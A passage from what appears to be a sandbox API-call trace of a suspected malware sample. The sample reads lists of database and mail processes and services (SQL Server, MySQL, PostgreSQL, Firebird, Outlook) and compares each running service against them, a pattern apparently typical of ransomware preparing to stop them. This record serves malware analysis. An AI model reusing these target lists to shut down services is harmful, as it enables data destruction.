(lpString="C:\\Windows;") returned 11 [0057.024] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x64d468 | out: hHeap=0x5d0000) returned 1 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fed8, Size=0x20) returned 0x605b40 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605b40, Size=0x40) returned 0x606d58 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606d58, Size=0x80) returned 0x62b458 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b458, Size=0x100) returned 0x620080 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a330, Size=0x8) returned 0x60a340 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a340, Size=0x10) returned 0x66ff20 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ff20, Size=0x20) returned 0x605b40 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a300, Size=0x8) returned 0x60a340 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a310, Size=0x8) returned 0x60a300 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a330, Size=0x8) returned 0x60a350 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a350, Size=0x10) returned 0x66ffc8 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ffc8, Size=0x20) returned 0x605c30 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a340, Size=0x10) returned 0x66ffc8 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a300, Size=0x10) returned 0x66fff8 [0057.024] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a340, Size=0x8) returned 0x60a330 [0057.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a360, Size=0x8) returned 0x60a370 [0057.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ffc8, Size=0x20) returned 0x605c58 [0057.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66fff8, Size=0x20) returned 0x605c80 [0057.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a380, Size=0x8) returned 0x60a390 [0057.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670070, Size=0x20) returned 0x605cd0 [0057.025] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x64d468, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0057.025] lstrlenW (lpString="C:\\") returned 3 [0057.025] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0057.025] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x64d468 | out: hHeap=0x5d0000) returned 1 [0057.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6240d8, Size=0x82) returned 0x65dfe0 [0057.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6240f8, Size=0x100) returned 0x620080 [0057.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65e070, Size=0x104) returned 0x6244b0 [0057.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b678, Size=0x100) returned 0x620188 [0057.025] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65dfe0, Size=0x104) returned 0x65dfe0 [0057.026] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x620080, Size=0x200) returned 0x6245c0 [0057.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6240e8 | out: hHeap=0x5d0000) returned 1 [0057.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6245c0 | out: hHeap=0x5d0000) returned 1 [0057.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x670118 | out: hHeap=0x5d0000) returned 1 [0057.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b5f0 | out: hHeap=0x5d0000) returned 1 [0057.026] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6700d0 | out: hHeap=0x5d0000) returned 1 [0057.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62b568 | out: hHeap=0x5d0000) returned 1 [0057.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x670100 | out: hHeap=0x5d0000) returned 1 [0057.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65dfe0 | out: hHeap=0x5d0000) returned 1 [0057.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6700e8 | out: hHeap=0x5d0000) returned 1 [0057.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6244b0 | out: hHeap=0x5d0000) returned 1 [0057.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x670130 | out: hHeap=0x5d0000) returned 1 [0057.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65e100 | out: hHeap=0x5d0000) returned 1 [0057.027] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x670148 | out: hHeap=0x5d0000) returned 1 [0057.027] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x670148, Size=0x20) returned 0x605cf8 [0057.027] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605cf8, Size=0x40) returned 0x606d58 [0057.030] WaitForMultipleObjects (nCount=0x2, lpHandles=0x607c30*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x7a0 Thread: id = 4 os_tid = 0x7c0 [0054.077] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61dff0 [0054.077] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61dff0, Size=0x20) returned 0x605988 [0054.077] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605988, Size=0x40) returned 0x606b18 [0054.077] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606b18, Size=0x80) returned 0x62b458 [0054.077] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b458, Size=0x100) returned 0x61bbc8 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61dff0 [0054.078] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61dff0, Size=0x20) returned 0x605988 [0054.078] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605988, Size=0x40) returned 0x606b18 [0054.078] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606b18, Size=0x80) returned 0x62b458 [0054.078] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x62b458, Size=0x100) returned 0x620080 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61dff0 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60a140 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x61dfc0 [0054.078] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a140, Size=0x8) returned 0x60a170 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x606028 [0054.078] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a170, Size=0x10) returned 0x61dfd8 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x606048 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x605988 [0054.078] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61dfd8, Size=0x20) returned 0x6059b0 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x6059d8 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16) returned 0x606068 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x605a00 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x61dfd8 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60a170 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x606b18 [0054.078] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a170, Size=0x8) returned 0x60a140 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3c) returned 0x606b60 [0054.078] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60a140, Size=0x10) returned 0x61dfa8 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x606088 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x6060a8 [0054.078] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x61dfa8, Size=0x20) returned 0x605a28 [0054.078] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x607ed0 [0054.078] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0054.078] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x61bbc8 | out: hHeap=0x5d0000) returned 1 [0054.078] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0054.078] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x620080 | out: hHeap=0x5d0000) returned 1 [0054.079] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x605ac8 [0054.079] EnumServicesStatusExW (in: hSCManager=0x605ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0054.080] GetLastError () returned 0xea [0054.080] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x6230a8 [0054.080] EnumServicesStatusExW (in: hSCManager=0x605ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6230a8, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6230a8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0054.081] CloseServiceHandle (hSCObject=0x605ac8) returned 1 [0054.081] lstrlenW (lpString="Appinfo") returned 7 [0054.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0054.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0054.081] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0054.081] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0054.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0054.081] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0054.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.081] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0054.081] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0054.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0054.081] lstrlenW (lpString="AudioSrv") returned 8 [0054.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0054.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0054.081] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0054.081] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0054.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0054.082] lstrlenW (lpString="BFE") returned 3 [0054.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0054.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0054.082] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0054.082] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0054.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0054.082] lstrlenW (lpString="CryptSvc") returned 8 [0054.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0054.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0054.082] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0054.082] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0054.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0054.082] lstrlenW (lpString="CscService") returned 10 [0054.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0054.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0054.082] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0054.082] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0054.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0054.082] lstrlenW (lpString="DcomLaunch") returned 10 [0054.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0054.082] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0054.082] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0054.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0054.082] lstrlenW (lpString="Dhcp") returned 4 [0054.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0054.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0054.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0054.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0054.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0054.082] lstrlenW (lpString="Dnscache") returned 8 [0054.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0054.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0054.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0054.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0054.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0054.083] lstrlenW (lpString="DPS") returned 3 [0054.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0054.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0054.083] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0054.083] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0054.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0054.083] lstrlenW (lpString="eventlog") returned 8 [0054.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0054.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0054.083] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0054.083] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0054.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0054.083] lstrlenW (lpString="EventSystem") returned 11 [0054.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0054.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0054.083] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0054.083] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0054.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0054.083] lstrlenW (lpString="gpsvc") returned 5 [0054.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0054.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0054.083] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0054.083] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0054.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0054.083] lstrlenW (lpString="iphlpsvc") returned 8 [0054.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0054.083] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0054.083] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0054.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0054.083] lstrlenW (lpString="LanmanServer") returned 12 [0054.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0054.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0054.083] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0054.083] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0054.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0054.084] lstrlenW (lpString="LanmanWorkstation") returned 17 [0054.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0054.084] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0054.084] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0054.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0054.084] lstrlenW (lpString="lmhosts") returned 7 [0054.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0054.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0054.084] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0054.084] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0054.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0054.084] lstrlenW (lpString="MMCSS") returned 5 [0054.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0054.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0054.084] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0054.084] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0054.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0054.084] lstrlenW (lpString="MpsSvc") returned 6 [0054.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0054.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0054.084] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0054.084] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0054.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0054.084] lstrlenW (lpString="Netman") returned 6 [0054.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0054.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0054.084] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0054.084] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0054.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0054.084] lstrlenW (lpString="netprofm") returned 8 [0054.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0054.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0054.084] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0054.084] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0054.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0054.084] lstrlenW (lpString="NlaSvc") returned 6 [0054.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0054.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0054.085] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0054.085] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0054.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0054.085] lstrlenW (lpString="nsi") returned 3 [0054.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0054.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0054.085] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0054.085] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0054.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0054.085] lstrlenW (lpString="PcaSvc") returned 6 [0054.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0054.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0054.085] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0054.085] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0054.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0054.085] lstrlenW (lpString="PlugPlay") returned 8 [0054.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0054.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0054.085] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0054.085] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0054.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0054.085] lstrlenW (lpString="Power") returned 5 [0054.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0054.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0054.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0054.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0054.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0054.085] lstrlenW (lpString="ProfSvc") returned 7 [0054.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0054.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0054.085] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0054.085] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0054.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0054.085] lstrlenW (lpString="RpcEptMapper") returned 12 [0054.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0054.086] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0054.086] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0054.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0054.086] lstrlenW (lpString="RpcSs") returned 5 [0054.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0054.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0054.086] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0054.086] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0054.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0054.086] lstrlenW (lpString="SamSs") returned 5 [0054.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0054.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0054.086] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0054.086] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0054.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0054.086] lstrlenW (lpString="Schedule") returned 8 [0054.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0054.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0054.086] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0054.086] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0054.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0054.086] lstrlenW (lpString="SENS") returned 4 [0054.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0054.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0054.086] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0054.086] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0054.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0054.086] lstrlenW (lpString="ShellHWDetection") returned 16 [0054.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0054.086] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0054.086] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0054.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0054.086] lstrlenW (lpString="Spooler") returned 7 [0054.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0054.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 